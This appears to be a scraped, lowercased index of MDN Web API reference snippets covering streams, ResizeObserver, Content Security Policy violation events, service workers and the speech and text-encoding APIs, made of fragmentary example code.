content = value; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.text
content = 'received ' + charsreceived + ' characters so far.
ReadableStream.pipeThrough() - Web APIs
next, we log the
contents of the readable stream, use pipethrough() to send it to a new function that creates a gray-scaled version of the stream, then log the new stream's
contents too.
ReadableStream.tee() - Web APIs
if (done) { console.log("stream complete"); return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.text
content = 'read ' + charsreceived + ' characters so far.
ReadableStream - Web APIs
if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "
content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
ReadableStreamDefaultController.close() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.text
content = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(in...
ReadableStreamDefaultController.enqueue() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.text
content = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(in...
ReadableStreamDefaultController - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.text
content = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(in...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
if (done) { console.log("stream complete"); para.text
content = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.text
content = 'received ' + charsreceived + ' characters so far.
ReadableStreamDefaultReader.cancel() - Web APIs
if (done) { console.log("stream complete"); reader.cancel(); para.text
content = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.text
content = 'received ' + charsreceived + ' characters so far.
ReadableStreamDefaultReader.read() - Web APIs
if (done) { console.log("stream complete"); para.text
content = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.text
content = 'received ' + charsreceived + ' characters so far.
ReadableStreamDefaultReader - Web APIs
if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "
content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
Report - Web APIs
de = document.createtextnode('report ' + (i + 1) + ', type: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; innerlistitem.text
content = key + ': ' + keyvalue; innerlist.appendchild(innerlistitem); } } } the reports parameter contains an array of all the reports in the observer's report queue.
Request.headers - Web APIs
image file in the same directory as the script), then save the request headers in a variable: var myrequest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('
content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); my
contenttype = myrequest.headers.get('
content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
ResizeObserver.unobserve() - Web APIs
examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.
contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.
contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.
contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(...
ResizeObserverEntry.borderBoxSize - Web APIs
= new resizeobserver(entries => { for (let entry of entries) { if(entry.borderboxsize && entry.borderboxsize.length > 0) { entry.target.style.borderradius = math.min(100, (entry.borderboxsize[0].inlinesize/10) + (entry.borderboxsize[0].blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.
contentrect.width/10) + (entry.
contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
ResizeObserverEntry.target - Web APIs
const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.
contentboxsize) { entry.target.style.borderradius = math.min(100, (entry.
contentboxsize.inlinesize/10) + (entry.
contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.
contentrect.width/10) + (entry.
contentrect.height/10)) + 'px'; } ...
Response.redirected - Web APIs
relying on redirected to filter out redirects makes it easy for a forged redirect to prevent your
content from working as expected.
Response - Web APIs
body interface properties response implements body, so it also has the following properties available to it: body.body read only a simple getter exposing a readablestream of the body
contents.
SVGAngle - Web APIs
the associated element is used to determine which element's
content attribute to update if the object reflects an attribute.
SVGAnimatedAngle - Web APIs
if the given attribute is not currently being animated, then the svgangle will have the same
contents as baseval.
SVGAnimatedRect - Web APIs
if the given attribute is not currently being animated, then the svgrect will have the same
contents as baseval.
SVGAnimationElement: beginEvent event - Web APIs
e" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.text
content = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.text
content = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event liste...
SVGAnimationElement: repeatEvent event - Web APIs
te" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.text
content = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.text
content = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event liste...
SVGCircleElement - Web APIs
example svg
content <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript
content this function clickcircle() is called when the circle is clicked.
SVGEllipseElement - Web APIs
example svg
content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="100" rx="100" ry="60" id="ellipse" onclick="outputsize();"/> </svg> javascript
content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, ...
SVGGraphicsElement: copy event - Web APIs
a handler for this event can modify the clipboard
contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
SVGMaskElement - Web APIs
svgmaskelement.mask
contentunits read only an svganimatedenumeration corresponding to the mask
contentunits attribute of the given <mask> element.
SVGPatternElement - Web APIs
svgpatternelement.pattern
contentunits read only an svganimatedenumeration corresponding to the pattern
contentunits attribute of the given <pattern> element.
SVGRectElement - Web APIs
(changing the color of the rect interface on every click) svg
content <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect width="300" height="100" id="myrect" onclick="dorectclick()" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /> <text x="60" y="40" fill="white" font-size="40" onclick="dorectclick();">click me</text> </svg> javascript
content function dorectclick(){ var myrect = document.getelementbyid('myrect'); var ...
SVGTSpanElement - Web APIs
ff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtext
contentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtext
contentelement</text></a><polyline points="51,89 41,84 41,94 51,89" stroke="#d4dde4" fill="none"/><line x1="41" y1="89...
SVGTextElement - Web APIs
ff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtext
contentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtext
contentelement</text></a><polyline points="51,89 41,84 41,94 51,89" stroke="#d4dde4" fill="none"/><line x1="41" y1="89...
SVGUnitTypes - Web APIs
the svgunittypes interface defines a commonly used set of constants used for reflecting gradientunits, pattern
contentunits and other similar attributes.
Screen.availHeight - Web APIs
the read-only screen interface's availheight property returns the height, in css pixels, of the space available for web
content on the screen.
SecurityPolicyViolationEvent.blockedURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment
content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.columnNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment
content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment
content security policy level 3the definition of 'disposition' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment
content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment
content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment
content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment
content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment
content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment
content security policy level 3the definition of 'sample' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment
content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment
content security policy level 3the definition of 'statuscode' in that specification.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment
content security policy level 3the definition of 'violateddirective' in that specification.
Selection.deleteFromDocument() - Web APIs
once you do, you can remove the selected
content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition o...
Selection API - Web APIs
once your selection is in a variable, you perform a variety of operations on it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire
contents of a dom node using selection.selectallchildren().
Using server-sent events - Web APIs
the php code for the example we're using here follows: date_default_timezone_set("america/new_york"); header("cache-control: no-cache"); header("
content-type: text/event-stream"); $counter = rand(1, 10); while (true) { // every second, send a "ping" event.
ServiceWorker.onstatechange - Web APIs
var serviceworker; if (registration.installing) { serviceworker = registration.installing; document.queryselector('#kind').text
content = 'installing'; } else if (registration.waiting) { serviceworker = registration.waiting; document.queryselector('#kind').text
content = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').text
content = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) {...
ServiceWorker.state - Web APIs
var serviceworker; if (registration.installing) { serviceworker = registration.installing; document.queryselector('#kind').text
content = 'installing'; } else if (registration.waiting) { serviceworker = registration.waiting; document.queryselector('#kind').text
content = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').text
content = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) {...
ServiceWorker - Web APIs
if ('serviceworker' in navigator) { navigator.serviceworker.register('service-worker.js', { scope: './' }).then(function (registration) { var serviceworker; if (registration.installing) { serviceworker = registration.installing; document.queryselector('#kind').text
content = 'installing'; } else if (registration.waiting) { serviceworker = registration.waiting; document.queryselector('#kind').text
content = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').text
content = 'active'; } if (serviceworker) { // logstate...
ServiceWorkerContainer.getRegistration() - Web APIs
example navigator.serviceworker.getregistration('/app').then(function(registration) { if(registration){ document.queryselector('#status').text
content = 'serviceworkerregistration found.'; } }); specifications specification status comment service workersthe definition of 'serviceworkercontainer: getregistration' in that specification.
ServiceWorkerContainer.getRegistrations() - Web APIs
example navigator.serviceworker.getregistrations().then(function(registrations) { document.queryselector('#status').text
content = 'serviceworkerregistrations found.'; }); specifications specification status comment service workersthe definition of 'getregistrations()' in that specification.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
self.addeventlistener("pushsubscriptionchange", event => { event.waituntil(swregistration.pushmanager.subscribe(event.oldsubscription.options) .then(subscription => { return fetch("register", { method: "post", headers: { "
content-type": "application/json" }, body: json.stringify({ endpoint: subscription.endpoint }) }); }) ); }, false); when a pushsubscriptionchange event arrives, indicating that the subscription has expired, we resubscribe by calling the push manager's subscribe() method.
Service Worker API - Web APIs
reacting to push messages: start up a service worker to send users a message to tell them new
content is available.
ShadowRoot - Web APIs
from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { var shadow = elem.shadowroot; var childnodes = shadow.childnodes; for(var i = 0; i < childnodes.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].text
content = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + 'background-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
SharedWorker() - Web APIs
bject: var myworker = new sharedworker('worker.js'); myworker.port.start(); first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.text
content = e.data; console.log('message received from worker'); } for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'sharedworker()' in that specification.
SharedWorker - Web APIs
sages sent from it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.text
content = e.data; console.log('message received from worker'); } inside the worker we use the sharedworkerglobalscope.onconnect handler to connect to the same port discussed above.
Slottable: assignedSlot - Web APIs
examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the
contents of a template that contains a slot named my-text.
Slottable - Web APIs
the slottable mixin defines features that allow nodes to become the
contents of a <slot> element — the following features are included in both element and text.
SpeechGrammar.src - Web APIs
k | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the
contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammar.weight - Web APIs
k | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the
contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammar - Web APIs
k | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the
contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechRecognition.onresult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition: result event - Web APIs
you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe ...
SpeechRecognition - Web APIs
.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
SpeechRecognitionAlternative.confidence - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionEvent.interpretation - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.interpretation); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechRecognitionEvent.results - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionEvent - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
SpeechSynthesis.getVoices() - Web APIs
example javascript function populatevoicelist() { if(typeof speechsynthesis === 'undefined') { return; } var voices = speechsynthesis.getvoices(); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoicesch...
SpeechSynthesis.onvoiceschanged - Web APIs
var voices = []; function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevo...
SpeechSynthesis - Web APIs
select'); var pitch = document.queryselector('#pitch'); var pitchvalue = document.queryselector('.pitch-value'); var rate = document.queryselector('#rate'); var ratevalue = document.queryselector('.rate-value'); var voices = []; function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevo...
SpeechSynthesisVoice.default - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
SpeechSynthesisVoice.lang - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definitio...
SpeechSynthesisVoice.name - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); }...
SpeechSynthesisVoice - Web APIs
function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevo...
Streams API - Web APIs
simple writer: this example shows how to to write to a writable stream, then decode the stream and write the
contents to the ui.
Text() - Web APIs
the text() constructor returns a newly created text object with the optional domstring given in parameter as its textual
content.
TextDecoder.prototype.decode() - Web APIs
html <p>encoded value: <span id="encoded-value"></span></p> <p>decoded value: <span id="decoded-value"></span></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').text
content = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').text
content = str; result specifications specification status comment encodingthe definition of 'textdecoder.decode()' in that specification.
TextEncoder.prototype.encode() - Web APIs
examples <p class="source">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.text
content; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.text
content += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification.
TextEncoder.prototype.encodeInto() - Web APIs
u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room return stats; } examples <p class="source">this is a sample paragraph.</p> <p class="result"></p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.text
content; const textencoder = new textencoder(); const utf8 = new uint8array(string.length); let encodedresults = textencoder.encodeinto(string, utf8); resultpara.text
content += 'bytes read: ' + encodedresults.read + ' | bytes written: ' + encodedresults.written + ' | encoded result: ' + utf8; polyfill the polyfill below may be a bit long because o...
TextTrack - Web APIs
texttrack.language read only a domstring which specifies the text language in which the text track's
contents is written.
TouchEvent - Web APIs
the touch point has left the document window and moved into the browser's ui area, a plug-in, or other external
content.
Touch events - Web APIs
